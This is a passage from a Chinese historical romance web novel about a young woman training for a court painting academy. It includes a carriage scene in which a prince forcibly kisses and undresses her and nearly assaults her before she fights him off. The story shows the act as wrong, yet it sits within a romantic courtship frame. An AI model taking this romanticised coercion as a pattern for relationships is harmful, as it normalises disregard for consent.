黄时雨的新环境完全没法与简允璋相比,倒不是她人缘差,而是苦啊,前三天还能坐在草棚子下敲石头,初十这日竟变成拉矿石。 五个细皮嫩肉的姑娘家,顶着风吹日晒运送矿石,从设色场西运送到东面的碎石坊,单用腿走都要一刻钟左右,再加上一车石头,这不是试炼这就是炼狱! 姜意凝一屁股坐在地上哇哇大哭,说什么也不肯起身。 程管事对此就一句话:“记一过。” 再记四次姜意凝就可以回家。 反正有五次机会,另外两个女孩也提出不干,分别记上一过后,三个人失魂落魄登上马车回舍馆休息。 偌大的矿石堆只剩下黄时雨和蓝素,面面相觑。 她们穿着朴素结实的统一服饰,发髻简单不累赘,一朵珠花也不敢戴,只包着丝绢,将头面严严实实裹住,防尘防晒。 到底是姑娘家,经不得这些。 当简珣与同砚参加名园胜景设立的文会,品香茗佳肴,赏丝竹笙歌之际,黄时雨正使出吃奶的劲头拉车。 当简珣在奢侈的净房泡澡放松,周围有两名小厮,屏风后另有四名丫鬟伺候时,黄时雨守着一桶热水,缩手缩脚擦洗,好冷。 初十这日,运完最后一车,蓝素也歪倒地,这个素来坚强又能吃苦的姑娘,呜呜垂泪。 黄时雨仰面栽倒,连垂泪的力气也没有。 是谁,究竟是谁,定这种缺德又该死的试炼规矩。 闻遇正要上马,抬眸望了望设色场方向,淡声道:“明儿开始给女考生减负两车。” 随行护卫应是领命。 女人大多羸弱,通身二两力气,十车确实有点夸张。 金鹤奉命来找黄时雨取墨宝,被她的模样唬了一跳。 黄时雨两眼发黑,连借口都不用找了,“劳您回明殿下,试炼结束前不会有什么墨宝,每天放工我只想躺着一动不动。” 金鹤擦了擦冷汗,“那行,我回去向殿下说明。” 正待转身又被黄时雨叫住:“常侍大人,我,我,再劳您劝劝殿下,以后别来找我吧,万一让人瞧见,我的日子或许就很难过……” 黄时雨揣着手,祈求地望着金鹤。 金鹤明白底层的无奈,但不会帮她,因为肃王是他的主子。 他笑道:“黄姑娘说什么呢,您的福气还在后头,谁难过也难过不到您头上。殿下可是头一回对姑娘家上心,我真心请姑娘担待则个,许殿下一点点甜头便也是我三世积了德。” 黄时雨喃喃道:“那我算啥,算三世缺德吗?” 金鹤笑着摇摇头,“恕我再多句嘴,皇室宗亲的规矩有些不太一样,对嫡庶先后并无严格界定。” 点到为止,他揖长礼辞别 皇室以外讲究嫡庶先后,皇室恰恰相反,皇后的孩子往往比庶子女来得小一些,皆因皇帝在成亲前就有妃嫔掌寝,亲王同理,只要不是侍妾,正妃侧妃谁有本事谁先怀。 倘若黄姑娘知情识趣,乖乖入府,以殿下目前的新鲜劲,至少得缠绵一年半载,庶长子之母非她莫属。 而肃王原本就不是凉薄之人,无论将来有没有新欢,黄时雨后半生的日子断不会差。 黄时雨深吸了口气。 金鹤已离开,却留下一只大包裹。 众目睽睽之下,藏都没法藏。 琥珀的面色比二小姐还难看,这不是包裹,这是烫手山芋。 主仆二人面色微白,弯腰抬起,身后就传来熟悉的打招呼声。 只见三位邻舍姑娘款款走来。 黄时雨回身见礼,大家一一回礼。 蓝素道:“你家大前天才送过一趟,今儿又送一趟,你阿爹阿娘可真疼你。” 福生来那次瞒不过别家丫鬟的耳目,自然也就传进了主子耳朵。 “入冬凉,我带的衣服少。”黄时雨轻描淡写揭过去。 所以前后两个包裹仅是几件冬衣? 当然不止冬衣,简直五花八门。 回到自己房间,黄时雨坐在床沿出神。 琥珀盯着包裹看半晌,“二小姐,那我打开看看吧,万一有贵重物品,放坏了还不得算我们头上。” 黄时雨憬然有悟,忙上前与她一齐打开。 肃王的包裹应是经过“高人”指点,全是女孩子喜欢的物件儿,凝脂香露,润肤的香膏,滋润的茉莉花头油,琳琅满目,还有一匣子御膳房的拿手点心。 剩下的一半竟装了可可爱爱的小东西,各种形态的木头娃娃。 最憨的一只垂着粗粗的麻花辫,仰首不知在看什么,以柔软的鹅黄色茧绸包裹,盛在精致的小木匣里,因为它是肃王亲手做的。 琥珀瞅瞅娃娃,又瞅瞅二小姐,雕的还挺像。 不意最底下还有一只长方形木盒。 琥珀打开,惊讶道:“是一轴画。” 落款是陆宴,盖了他的私章,画上一名鹅黄短衫玉色轻纱披帛的少女意态娇憨清媚,懒懒垂眸盯着一池锦鲤,池水微漾,锦鲤活泼,都不及花木半遮半掩下的女孩动人。 显而易见用了情人的角度构图,观者瞬间就能想象一名郎君立在不远处,含情脉脉欣赏他的情人,情人则欣赏水中锦鲤。 欲说还休。 黄时雨和琥珀同时陷入了诡异的静默。 片刻之后,黄时雨打破沉默,“我每日辛劳,委实没有心情养护肌肤,这些,还有这些都收起来吧。” “点心,放在桌上,你饿了便吃,莫要浪费。”她又补了句。 琥珀“嗳”了一声。 邻舍的女孩们纷纷羡慕黄时雨,盲猜她是家中老幺,只有老幺才如此受宠。 泽禾到京师一趟不容易,初八将将送完一趟,十一又来送。 女孩们叽叽喳喳议论,蓝素冷不丁横插一句:“你们不觉得黄姑娘奇怪吗?” 女孩们一愣,还行吧,可能是太漂亮了才显得有些疏离。 蓝素笑道:“她从不参加我们的小聚,做工休息之时亦寡言少语,关于家里的情况更是只字未提。” 女孩们聚在一起难免说起家人以及父亲官职,只有黄时雨,绝口不提,偏“家人”又那般爱她,隔三差五的送包裹。 背后议论人真的很失礼,姜意凝踢了踢凳子,“没意思,就不能说些其他的听听。” 这个坏脾气姑娘祖父官拜正二品尚书兼文华殿学士,大家习惯谦让她,既然她发话,那就重新起话头聊些别的也罢。 无非是道听途说的野史。 粉衣裙的苏容樱含羞带怯道:“听说进了画署就能时常接触画阁的人。” 白衣裙的沈璃笑道:“是呀,不仅能接触画阁的人,还能接触小闻大人。” 苏容樱一愣,气得捶她,两人笑闹起来。 蓝素垂下眼睫。 小闻大人是世上最迷人的男子。 沈璃神神秘秘道:“是了,你们知不知道一件事,画署前两年闹过鬼。” 苏容樱小声嘀咕:“大晚上的不许瞎说,怪吓人的。” 姜意凝道:“展开说说,我不怕,谁怕谁自己捂住耳朵。” 蓝素催道:“快讲快讲。” 于是沈璃绘声绘色述说一则野史。 五年前江南一位风尘女与恩客互生情愫,那恩客豪掷千金为她赎身。风尘女才貌双全,尤其一手丹青比起当世名家也不遑多让。 恩客惜才,便带她进京画考,待她荣升画员之日便是二人成亲之时。 风尘女成功中选,哪知万分小心行事,从不与同僚谈及家人身世,依然遭到了同案举报,言她前身为妓,依附男人方才考上画署,与这种肮脏的女子为伍,简直是在侮辱诸位家世清贵的同僚。 风尘女身世确实不光彩,恢复自由身还与男子无媒苟合更是下作,但画署确实也无明文规定不收从良之人,所以风尘女最终还是顺利成为画员。 但在成为画员的第二个月投井自尽。 姑娘们花容失色。 沈璃继续道:“从那以后画署就开始闹鬼,幸而小闻大人出手才将此事了结。” 姜意凝对鬼啊神的兴趣不大,板着脸问:“已经中选为何还要投井自尽?” 沈璃道:“大约受不了世俗的目光吧。名妓从良本就洗不白,还与男子无媒苟合,实在下贱,换我做她同僚也没法与她正常相处。” 姜意凝抱胳膊哈哈两声冷笑,“风尘女爱上普通男子是无媒苟合,良家女还在画署就怀上龙种便是风流佳话。” 苏容樱一把捂住她的嘴,“胡说什么,让你祖父听见不揭了你的皮。” 女孩们神色复杂地瞅着无所顾忌的姜意凝。 她竟拿德妃与一名风尘女相比。 可是……她似乎说的又没有错。 不都是无媒苟合,婚前失贞,缘何轮到德妃身上就全是佳话? 女孩们被死一般的沉寂包裹,相顾无言。 设色场为女考生专门划分了一小片区域,除了上官,几乎没有男子涉足。 想打探黄时雨的男考生急得像热锅上的蚂蚁,团团转了数日无门。 每日只能望洋兴叹。 焦头烂额的黄时雨全然不知自己又被人惦记上了,运完最后一车石头,她席地而坐脑袋一点一点眯起眼睛。 蓝素路过,睃了她一眼,继续朝前走,苏容樱欲上前喊醒她,却被蓝素一把拽走。 而另两位姑娘则继续记过回舍馆休息。 也不知睡了多久,黄时雨才怏怏睁开眼,程管事口里喊着祖宗,一把薅起她,“你是真敢睡,若非我时时留心,今晚你便在这里过夜吧。” 黄时雨揉着眼睛,迷迷糊糊道歉。 程管事就将她塞给了在此等候多时的肃王。 黄时雨登时清醒。 程管事继续装聋作哑,也不管黄时雨哭喊径直往西去了。 韩意淮将黄时雨抱进马车,紧紧地拥在怀中,“你别哭,我就不欺负你。” 第50章 抓破 上次见面足足相隔了十九日,从前也是半月甚至数月的频次,才让简珣占尽先机,所以肃王殿下此番仅隔了五日便来探望。 韩意淮自认没有哪一点比不过那人,况且姓简的才与小木头同岁,毛都没长齐的臭小子,可不像他,他可是大她两岁的哥哥。 年纪大的郎君才会疼人! 金鹤说她像朵晒蔫的小花。 肃王念着这句话,只想亲眼瞧瞧自己的小花是不是真的蔫了。 不意黄时雨见了他掉头就跑,逃脱不迭落进他手心,登时双脚乱跳,哭声愈高,他究竟哪里惹到她了! 韩意淮心里有气,只将人儿拎起抱去车上,就不信他一个七尺郎君还斗不过一个姑娘家。 却说这黄时雨,虽不得怙恃疼爱,倒也未曾见过外面的大风大浪,唯一熟识的小郎君简珣自小就受她颐指,轻易不敢惹她分毫,即便惹了也是好言好语相哄,哪见过肃王这般霸道的。 而今她又一味忤逆肃王心意,半句好话也不肯糊弄他,这让一腔情热的韩意淮怎甘心。 黄时雨压根就不信他不会欺负她的鬼话,怨声问:“你怎么又来了?” “我怎么就不能来?”肃王殿下忍气吞声说道,“只有这里方便避开诸多耳目,不然还能怎么办,你又不许旁人知晓咱俩的关系……” 黄时雨拔高了声音,“我和你什么关系也没有!而且我又没要见你,你,这是强掳民女。” 韩意淮将人拦在车围子角落,左右哄不好,干脆自斟自饮,等她啼累了,才慢悠悠道:“咱俩以后经常见面,你得习惯,把我当成陆宴相处不就好了,况且我就是陆宴。” 但凡面前的人不是王爷,黄时雨就给他一拳,“谁要与你相处,我是清清白白的姑娘家,怎能与人私相授受。” “那我还是清清白白的郎君呢,要不去你家提亲?” 这总不算私相授受了吧。 岂料这话把黄时雨给点着了,当即跳脚,“住口!你若敢毁我画考,便是小王爷我也与你拼了!” 韩意淮哪见过这么凶的姑娘家,登时凝噎,“梅娘……” 黄时雨顿住,他好像不止一次唤过她乳名。 “你,怎知我叫梅娘?” 韩意淮得意极了,“当初你在府衙投递手实,我就扫过一眼,不仅瞧见你乳名还瞧见你身长和身重,你可真是小小一只,不过别担心,我会好好养你,定让你再长高些,长不高也没关系。” 多一寸或者少一寸的女孩儿在修长高大的肃王眼里其实都没差。 全都小小的。 “我才不要你养,我不是你的。”黄时雨四下环顾。 连生气的模样都好可人,韩意淮柔声道:“好,梅娘将来可是要成为大画师的人,阔气着呢。” 黄时雨因为“大画师”三个字悸动不已,那真是遥远的梦啊,现在的她只想先成为画员。 趁着她愣神的功夫,韩意淮攻其不备,攫取那香软小嘴巴,又亲了亲她额头脸颊,继而又堵住小嘴。 她的力气太小,连反抗都仿佛是在挑逗相邀,沉醉其中的韩意淮一时没察觉到黄时雨的抗拒,反而被撩拨的愈加情动,从浅尝辄止发展成更深的求索,手已经探进小袄,他喘着粗气松开那张可怜的小嘴,“梅娘,梅娘,你给我吧,我发誓负责,我就要一下,一下就好,我,我不让你疼……” 他一把扯开姑娘的里衣,又怕她冷,便贴紧了她,埋首亲她纤细娇嫩的脖颈,同时解自己的腰带,也终于听见了黄时雨不同于任何时候的尖叫。 韩意淮只觉得脸颊一阵火辣辣的痛,赫然布上三道殷红抓痕。 但她求救的声音犹若利刃,斩断了他神魂,以至于顾不上渗血的脸颊。 “我不亲了不亲了,梅娘,你怎么了……”韩意淮惊慌失措捧着黄时雨的脸。 “我讨厌你。”黄时雨魂荡魄惊。 两行泪从她眼眶滚落。 “我,我……你说谁讨厌呢?”韩意淮的声气越来越弱。 当少年郎从下半身的支配中清醒,脑子也就越来越冷静。韩意淮终于意识到自己方才做了什么,那混沌又来势汹汹的一瞬间,不管承不承认,他都是无耻的卑鄙的,他想强要她,那样的他令此时的他无比恐惧。 但凡她的反抗弱一些,可能就被他得逞了。 韩意淮倾身拥住浑身发抖的小木头,“我错了我错了,以后不乱亲你,我发誓,你不同意我绝不强迫你与我云雨,梅娘,别怕我。” 他脸颊一滴血珠落在了黄时雨攥紧的手背。 月光清冷,马车很快就来到了醴泉坊,他与梅娘在一起的时间总是那么短暂。 但她应是受了不小的惊吓,从方才就一动不动缩在他怀中,任由他抱着。 宛若落进猫儿爪中的小老鼠,翻着肚皮任由揉圆搓扁,一旦猫儿稍有放松,即刻弹跳而起,溜得再不见踪影。 韩意淮笨手笨脚的帮她理了理发丝,穿好交领小袄,又用帕子仔细擦拭她苍白的小脸,“梅娘,你看我真不欺负你了,不要讨厌我好不好……” 来见她的路上喉咙都是甜丝丝的,他每天都想与她一起玩,做亲密的事说亲密的话,所以,她不可以讨厌他。 程管事遥遥望见了肃王的马车,疑惑不解,肃王怎么一直不下车? 那她也只好立在角门前安静地等。 等啊等,等的天上明月都隐入墨色云层。 车舆内,韩意淮拥着怀里吓傻的女孩,轻拍她的后背,低声软语道:“梅娘,我补偿你好不好,请你看绿云和紫龙卧雪怎么样,可好看了。原想送你的,可是你不会养,死了反倒可惜。” 可是她看起来恹恹的,有气无力,直到确认此时的他是真的不会再伤害她,才小声道:“殿下,我困了,可不可以放我回去。” “嗯,好。”他的拥抱却越来越紧。 她也没有挣扎。 “殿下。”她忽然启音。 “嗯?” “您不能再去舍馆找我,更不可送包裹。”黄时雨尽量不激怒他,平静陈述道,“我,我已经被阿爹许给简允璋,待我学成以后就退出画署去他家过日子,嗯,一女不事二夫,您的东西于我来说就是负担,极可能引起不必要的误解,让大家以为我是个不守妇道的女子。” 韩意淮的喉结微微滑动,静默片刻,冷笑:“一女不事二夫,那你只伺候我不就行了。” 黄时雨盯着车围的花纹,“人不能言而无信,我们家已经收了聘礼,这件事不会改变,我也不想变,请殿下收回心意转赠值得托付之人吧,如果殿下同意了,今天这事儿我就当没发生过,一齐忘了。” 说假话容易露馅,但含了五分真的假话就跟真的差不多。 韩意淮不愿意,哑着嗓音道:“梅娘,我想你了,你又不肯给我名分,想见你只能偷偷摸摸,避人耳目,好不容易走程管事这条路见着你,我就激动不能自已,我太激动了……我知道错了,两情相悦的事不能强来。” “殿下说的没错,两情相悦不能强来,所以您不能强迫好人家的姑娘。” “你家收了他多少?”韩意淮并不钻她的言语陷阱。 这种话术迫不了他,她还是嫩了点。 黄时雨警惕道:“殿下莫要强人所难。” 韩意淮冷冷道:“你家人拘束你,不许你认字也不许你画考,但简珣千方百计帮你,配合你,所以你就喜欢他对不对?” “嗯,是的。” “我也可以,我会做得比他更好。” “但是您出现的太晚了,总不能是个男人对我好,我就跟了吧。” 黄时雨的话句句在理,却又句句残忍。 沉寂的车内只余两个人的喘息声。 韩意淮紧紧抿着唇,脖颈因用力过度浮起一道浅浅的青筋。 “走吧。”他忽然松开手臂。 黄时雨眼睛一亮,小心翼翼挪动身子,甫一挪出车厢连金鹤的手也没敢扶,连滚带爬溜下车,飞奔而逃。 金鹤立在原地静候几许,方才回身请示:“殿下,可否准奴才掀帘瞧一眼?” 方才动静不小,他不禁腹诽殿下鲁莽,把个女孩子吓得哇哇乱叫,像什么样子,又担心殿下鲁莽过头弄出人命,到底与画署有关,传到小闻大人那里不好交代。 阅历丰富的金鹤已经想了七八种解决方案,包括调转马头回王府,这种事多半受伤,先让姑娘养好伤保住命再谈赔偿。 哪知姑娘非但没事,窜下马车还箭步如飞。 眨眼就没了。 金鹤预感不妙,立即上前探问,车厢里的殿下没有吭声,也就是默认了,他才轻轻掀起锦帘一角,霎时倒吸一口冷气。 车厢全无想象中的旖旎风光,倒是他家殿下左边脸颊血迹斑斑,三道抓痕不啻于要了奴才们的老命。 该死啊该死啊,金鹤几欲晕倒,强撑回到王府,连夜将御医捉来。 擅长肌理的御医满头大汗,仔细检查一番伤口,只听肃王淡淡道:“我在林苑学人熬鹰玩,手生被扑了,这点小事没什么声张的必要,周大人,你说是吧。” 周御医汗如雨下,连声称是,慌忙用煮开的温盐水亲自为殿下清理伤口,又打开药匣子取南疆的生肌膏一层一层敷上。 “这是我给殿下开的内服方子,每日煎两副。”周御医将方子递给金鹤,就着殿下的话头说,“观鹰爪抓痕还是只小鹰,但伤口也不浅,不过殿下胜在年轻又十分康健,坚持用药四十余日定能完好如初。” “四十余日?” 肃王殿下和金鹤俱是一震,做梦也没想到伤得这么重。 搁普通人脸上绝对就是三道疤了。 韩意淮心有戚戚,小木头好坏啊,一点都不心疼他的。 次日,王府内侍便去了永寿宫传话:“回禀太后娘娘,咱们殿下得有段日子不能来您跟前尽孝,全因昨儿玩鹰被扑了,不过托您洪福,殿下吉人自有天相,目前已无大碍,由周御医担保,养个把月即可恢复如初。但是伤在面颊到底有碍观瞻,这才特特吩咐奴才前来禀明,一则希望您切勿担忧,二则提醒您天凉加衣,殿下养好伤第一时间就来给您请安。” 陆太后震惊不已,当下心疼坏了,这孩子从小就顽皮,追鸡撩狗不知摔过多少次,后来学骑射还摔断过腿,惹她伤心哭泣,直到她差点哭瞎了眼,他才渐渐稳重,殊不知昨儿又被鹰扑了。 太后鼻子一酸又开始抹泪,召周御医进宫问话。 一再确认阿淮不会留疤,方才放御医回家。 太后身在宫闱,恁是心如刀割也只能干着急。 着急之下就把怒气撒到了不懂事的畜生身上,林苑才进贡的鹰崽儿,据说昨日扑了殿下的那只,被金吾卫拧断脖子喂了狗。 金鹤将林苑发生的“惨剧”小心翼翼回给肃王。 肃王还能说啥,只会庆幸被拧断脖子的不是小木头。 前朝也不是没有过例子,王妃恃宠而骄,常常在内帷与亲王嬉闹玩乐,一日亲王从背后捉弄王妃,王妃受惊失手抓花亲王脸颊,不知被谁传进了太后耳中,当晚就命人剁了王妃两只手。 很残忍却也很现实。 虽说陆太后不似前朝太后残忍,可一旦知晓真相定然也饶不了黄时雨。 此事暂且告一段落,背锅的鹰早登极乐,活着的周御医则多了一项公务,每日下衙后都要进宫回明太后肃王伤口的愈合状况。 在时人看来,亲王宠幸民女,那是民女的福气,像黄时雨这样又抓又咬的高低判个大不敬之罪,砍头了事。 所以十二那晚,黄时雨仓惶逃走。 她并不懂拒绝亲王的后果,只是隐约猜到了殴打亲王的后果。 韩意淮似乎还未察觉脸被她抓花,只顾着甜言蜜语哄骗她,黄时雨如芒在背,眼神闪烁,拼命藏起那只沾满他血迹的手。 琥珀左等右等没等到二小姐回来,隔着门缝发现别人家的小姐早就归家,却又不敢出去乱问,没得事与愿违败坏了小姐名声。 正当纠结不得其解之际,二小姐回来了,面如缟素,发髻凌乱,簇新的小袄纽襻也被外力扯裂。 琥珀连忙将黄时雨扶回内室,烛火下捕捉到了她布满血迹的右手。 “小姐!”她惊呼。 黄时雨一把抱住琥珀,呜呜的哭。 琥珀心神俱震,隐约猜到了什么,只能不停安抚着黄时雨,压低了声音道:“别怕别怕,让我检查下伤口,这个害羞不得,会要命的。” 她明日天不亮就去西市的胡人商铺买一副应急的避子药,一切都会没事的。 黄时雨攥紧胸口的衣襟,咽了咽,后怕道:“我,我没受伤。” 琥珀“啊”了声,紧接着听二小姐道:“肃王满脸是血,恐怕不好,我,我好像闯祸了。” 好消息是肃王暂时没发现,坏消息是王府有镜子,没镜子下人还有眼睛。 琥珀腿一软歪在榻上。【你现在阅读的是 】 50-60 第51章 月色 黄时雨和琥珀胆颤心惊捱过一天两夜,外头依旧风和日丽,公厨还在众多考生的联袂抵制下增加了菜品。 抵制的考生皆为设色场北面的男子,以几个勋贵家为首,吵吵嚷嚷数日,公厨最终决定每顿再加一道荤菜,如果还有不满那便回家吃吧,画署敬谢不敏。 众人无言以对,各自退让一步,此事得以了结。 鹬蚌相争女考生得利,惶惶度日的黄时雨发觉午膳变得愈发丰富。 其实饭菜本来就不差,算得上时下富户人家的家常便饭,且面食还用的细面,无奈公子哥们早已习惯珍馐美馔,左右总归瞧不上眼。 十四那日,琥珀掂量道:“二小姐,我觉得肃王不会来找你麻烦了,这又不是什么光彩的事,你说打你一顿吧他定然舍不得,索赔吧你又没钱,多半是自认倒霉躲在家中养伤呢。” 可谓一针见血的分析。 除了一条命,黄时雨啥都没,肃王殿下即便把她抓起来也敲不出东西。 黄时雨心里亦是这么想的,便认定琥珀说得极有道理,方才把心捺回腹中,然而恐惧退却,委屈就袭上心头,她用袖子偷偷抹泪。 肃王长得好看笑容粲然,使得不知天高地厚的黄时雨一度以为他会像简允璋一样好说话,或者说像简允璋一样忍让她,直到他的手蛮横伸进来弄疼了她,盛世太平的梦骤然破碎。 琥珀假装没瞧见黄时雨哭过,挑了片姑爷给买的漂亮绢纱,仔细包住二小姐头脸,设色场尘扬日晒,太糟践女儿家的细嫩皮子,短短七日下来,把她的二小姐都折磨蔫了。 送二小姐出门,直到她钻进车厢布帘子,琥珀才忧心忡忡折回舍馆。 主仆就是一根绳上的蚂蚱。 自从二小姐给简家做贵妾,琥珀的日子蒸蒸日上。 姑爷有多爱重二小姐,简府的下人就有多敬重琥珀,所以她才忧心忡忡,一旦二小姐和肃王的事儿为人察觉,这样的好日子可就到头。 单琥珀自己失去体面倒也无妨,怕只怕主仆二人的性命都难保。 贵妾再贵也是妾,别说贵妾了,即便是正妻红杏出墙,被夫君告去官府或者家法处置都是咎由自取,邻里拍手称快。 家世不显的女子遭打死打残更不足为奇。 琥珀唯恐事迹败露,姑爷把二小姐打残怕都算轻的,到时就连老爷亦无权置喙,莫说老爷只是个秀才,纵使为举人也无济于事。 放眼大康,除了金枝玉叶的公主,任何女子包括太后娘娘在内,一旦妇德有亏都别想好过。 因为男人只容得下自己的女儿不修妇德。 但大康比之前朝又绝对的宽容,皆因本朝三法司(指大理寺、刑部、御史台)将“和离”二字写进了《户婚律》,明确表示婚姻中的女子在没有红杏出墙的前提下,也可以选择离开夫君。 夫妻双方只要有一方不想继续婚姻关系,就可以写诉状提交当地府衙县衙,经由特定官员受理,准予双方一别两宽。这放在前朝想都别想,女子想要离开夫君只有两个途经——被休或者其中一个死亡。 以上是理想状态下的和离,事实上普通女子和离操作难度相当大,中间要经受夫家娘家以及各方势力的舆论压迫。 贵妾相对更惨,连和离权都无,只要夫君不写放妾书到死都是夫君的私人财产。 一旦为人觊觎,不管是不是自愿都算红杏出墙,打死打残发卖皆为合情合法。 于是琥珀寝食难安。 登上前往设色场的马车,因黄时雨睫毛又长又密,始终半垂着倒也无人发觉她哭过。 除了黄时雨和蓝素,另外三个女孩已经消耗了三次机会,只剩两次,而试炼还剩两个多月,谁知道后面有没有更可怕的妖魔鬼怪,那么今日无论她们愿或不愿都得咬牙完成任务,否则真就得打包回家。 好在程管事带来一则振奋人心的消息,明日下元节,乃水官大帝除困解厄的大日子,家家户户都要祈福斋戒做素馅糍粑,因而设色场要给大小匠人放半日斋假,考生同理,意味着明日可以不用做苦工,只去设色场点个卯用一顿午膳即可。 姑娘们不约而同欢呼,更有喜极而泣的。 平时都是苏容樱一个人哭,这下姜意凝也开始抹泪,不过都不如黄时雨哭的凶,泪雨滂沱,越来越急。 苏容樱噙着泪一眨不眨瞅向她,姜意凝也忘了哭,众人齐齐打量黄时雨。 寡言少语的黄姑娘甚少这般感性。 老匠人来给姑娘们派活,今天终于不用拉车,而是去碎石坊的隔壁提炼坊做工。 提炼坊宛如一个巨大的有顶的广场,被分隔成一片片区域,老匠人将五个姑娘带到自己的区域,教授她们如何提炼最细的粉末。 这个制作过程有点类似女儿家制香粉,算有史以来最轻松的活,就是抬水累人,然而相比前几日已经算极乐世界。 矿石从一整块到敲碎,再到粉末,然后筛选出最细的继续研磨,黄时雨赫然发现画署正在让她们循序渐进地经历一盒彩墨形成的详细过程。 这也是一名画师应该必备的技能。 墨形由心,墨色由己。 领悟到意义,加诸好奇心本来就旺盛,黄时雨终于忘了委屈,眉目舒展,睁着一双雪亮的美眸沉醉做工,时不时请教老匠人几句。 小姑娘包着绢纱只露出一双好学的眼睛,声音格外清甜,还带着少女的软糯,请教的时候礼数周全,且用了一口标准官话,上了年纪的人最喜欢这种年轻人了,老匠人乐呵呵知无不答。 其他几个小姑娘则各忙各的,遇到不知如何上手的地方才会请教两句。在她们眼里老匠人是标准的底层人,高高在上的贵族小姐不习惯且也不懂如何与底层聊天。 提炼坊外,三名累得像狗的男考生运完最后一车分离木桶,立时东倒西歪瘫在地上。 中间那位浓眉大眼的便是连续打探黄时雨多日的公子,他做梦也没想到无心插柳柳成荫,竟在此处重遇美貌之极的女考生。 此人乃左军都督佥事的亲外甥,姓孙,他当下就追过去,却还不等靠近就被监长拦下:“闲人免入。” 放在平时倒没有这么严,不过现在里面有女考生,非同儿戏,怎可能放不知轻重的愣头小子进去。 孙纨立刻不悦,压根就不把小小监长放在眼里。 两人你一句我一句,擦出了火药味,推推搡搡,眼看佳人没入更深处消失不见,孙纨气不打一处来就把监长给揍了。 这要发生在京师大街,莫说孙纨揍监长,就是揍画署上官可能都有机会搪塞过去,但他身为考生在设色场不服从规令,还殴打监长,影响极大,若不处罚后面可就难以服众。 然而普通的官儿并不敢下都督佥事的面子,只好请示上一级,以求拿个章程,上一级拿不准再向上请示,最后竟请示到了闻遇面前。 彼时画署正在进行旬会,也就是每十日开一次的例会。 闻遇穿着常服,斜靠椅背,指节有一搭没一搭敲着桌案,极有耐心听完了事情始末,“查一下这二人是楚王思神女还是神女勾楚王,不管哪一种孙纨都不能再留,倘若是后者,连同黄时雨一起轰出去。” 下官领命:“是,大人。” 事情很快有了眉目,两个时辰后来人就将详细的经过分说清楚,还带了老匠人做证,黄时雨从头到尾都待在提炼坊,未曾与提炼坊以外的人搭话。 此事确实与她无关。 全然一场纨绔子弟追香逐靓不成怒打监长的闹剧。 闻遇颔首,“好。” 黄时雨逃过一劫。 却说程管事,竟也去了趟画署,因她手底下只有五个姑娘,素日轻松自在,加上官职低,基本见不到闻遇这种级别的,不意竟被闻遇直接请进了画署问话。 程管事忐忑不已,难不成男考生觊觎我女考生美色还要算我头上吗? 没过多久,她就站在了画署正殿的一处廨所,向小闻大人请安。 闻遇低头慢条斯理拆着束袖。 程管事就愈七上八下,低头躬身。 闻遇将束袖扔进侍从手中,方才似笑非笑看向程管事,“肃王的赏赐大方么?” 程管事后背一颤,藏在袖子里的手微微哆嗦,“回,回大人,属下无能,不敢拦肃王殿下……” 就算敢拦也拦不住。闻遇活动了一下肩膀,淡笑道:“我知道,凭你也做不得什么,传你来就是让你给他带几句话。” “是是,属下竖着耳朵谨记。”程管事如蒙大赦。 闻遇挑眉道:“从前画署什么风气与我无关,但今年,权领督考的人是我,再有女考生钻明令漏洞以致珠胎暗结,就莫要指望我来遮掩,到时御史台的人发疯,想必殿下也不好过吧。好好劝劝殿下,要么现在把人领走,要么管好腰带。” 说罢,他撩眼看向程管事,一字一顿道:“滚吧。” 画道不是女人攀附权贵的捷径。 却从德妃起,渐渐成为沽名钓誉的工具。 闻遇并不歧视依附男人卖娇耍痴的女人,从男人的角度来说还很好玩,但厌恶将这一套带进画署的女人。 黄时雨一直踩在他的底线上。 肃王这颗大树并不是万能的。 胆敢在他权领的画考兴风作浪,弄出丑事,他势必要她好看。 这日程管事面如缟素,战战兢兢告退。 回去就开始思索如何在肃王跟前回话。 按说肃王也就是送黄时雨回舍馆,但这段路也确实足够发生点什么,她想起肃王宽大厚实的马车,连忙摇了摇头,既是路上自然没有地方煎药,那黄时雨可就真有可能有孕。 真晦气啊。 都是活祖宗。 国子监的四门学严格遵照旬假制度,如若逢节气则在旬假上叠加。 简珣算了下日子,下元节陪伯祖父,十七正好陪梅娘,上次只逛了东市,两人约好下次逛西市。 东市周遭的府邸全是达官显贵,王公贵族,有钱归有钱,但日常所需肯定是由家仆采购,毕竟谁家朝廷命官也不至于跑街上打酱油买醋,这就导致客流量远远低于西市。 因而东市的铺面多以奢侈之物为主。西市则包罗万象,蕃客胡商来往不觉,下至针头线脑,上至琉璃珠宝,无所不有,无所不全。 还有光怪陆离的西域幻法表演(注,相当于现代的魔术),以梅娘的性格见了怕是再不肯挪动脚步。 简珣心里想着梅娘,下元节大清早即吩咐福生前去画署考生舍馆送素馅糍粑和蜜桔,还有一盒梅娘爱吃的核桃酥。 安国公在政事堂用过皇帝赏的素馅糍粑,就打道回府,五个后辈也整整齐齐来到了砌园给他老人家请安。 这日大家无不沐浴更衣围坐书房山谈经论道,年轻人高谈阔论各有所长,难免想在祖父(伯祖父)跟前表现。 五个孩子,年纪最大的已经入仕,二十有五,最小的允璋则还差百日才满十六。 头几年,允璋这孩子除了会念书以及相貌异于常人,其余表现并不突出,大有成为书呆子的势头。 安国公的注意力很少放在平庸的孩子身上,却时不时会关注一下允璋,觉得这孩子怪异,尤其今年开始,当男孩子满十五岁后,稚嫩感越来越弱,随之而来的少年感则越强,允璋看起来骤然变化。 那种流于表象的平平充满了安定的力量,行止不急不躁,国公爷仔细回想了下,终于发现允璋的怪异之处,他身上好像从未出现过与年纪匹配的孩子气。 国公爷见过许多孩子,却没见过没有孩子气的孩子。 他不动声色的目光掠过简珣。 这孩子一如既往擅于倾听,言简意赅,但说出的话往往坚定有力,言外之意深远,另外四个几乎跟不上他的思维与理解,更可怕的是还不自知,他却始终面色如常,也不多加解释。 越听越有趣。 国公爷终于开始正式关注这个若深潭一般沉静的“平庸”侄孙。 巳时,简珣留在砌园的竹轩小憩,廖叔前来通传伯祖父有请,他立即整理衣冠往书房山走。 他是五个兄弟中唯一还未通过乡试的,伯祖父难免记挂上心,只是没想到伯祖父为他安排的老师竟是翰林院的掌院叶学士。 叶学士身为翰林院之首,虽说只有正五品,但说话可比许多正一品还管用。做为皇帝的贴身文学侍从官,皇帝的机密决策、任免讨伐无一不先经过他,由他的手修改或起草撰写,甚至直接替皇帝拟定。 可以说叶学士的每一句话都能影响甚至主导皇帝的决策,乃当之无愧的实权宰相。 京师有两种官不能以品级定尊卑,说的便是翰林学士与御使大夫。 